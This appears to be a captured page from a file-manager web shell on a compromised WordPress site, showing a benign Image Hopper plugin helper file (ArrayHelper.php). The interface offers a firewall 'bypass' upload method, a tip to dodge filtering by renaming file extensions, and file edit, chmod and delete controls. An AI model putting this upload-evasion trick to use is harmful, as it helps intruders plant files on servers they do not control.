Search
Search
Search
Search
Information
Information
Light
Dark
Open actions menu
Basic upload method
Bypass upload method
Tips!
If you encounter an error (by firewall) while uploading using both methods,
try changing extension of the file before uploading it and rename it right after.
This uploader supports multiple file upload.
Submit
~
var
www
nea-2020.wpress.dk
httpdocs
wp-content
plugins
image-hopper
src
Helpers
File Content:
ArrayHelper.php
<?php namespace ImageHopper\ImageHopper\Helpers; /** * @package Image Hopper * @copyright Copyright (c) 2025, Image Hopper * @license https://opensource.org/licenses/gpl-3.0.php GNU Public License */ /** * Class ArrayHelper * * @package ImageHopper\ImageHopper\Helpers * * @since 1.1.0 */ class ArrayHelper { /** * Inserts new element(s) into array after current $key * * @param array $a * @param string $key * @param array $array_to_insert * * @return array * * @since 1.1.0 */ public static function insert_after( $a, $key, $array_to_insert ) { $key_pos = array_search( $key, array_keys( $a ), true ); if ( $key_pos !== false ) { ++$key_pos; $second_array = array_splice( $a, $key_pos ); $a = array_merge( $a, $array_to_insert, $second_array ); } return $a; } }
Edit
Download
Unzip
Chmod
Delete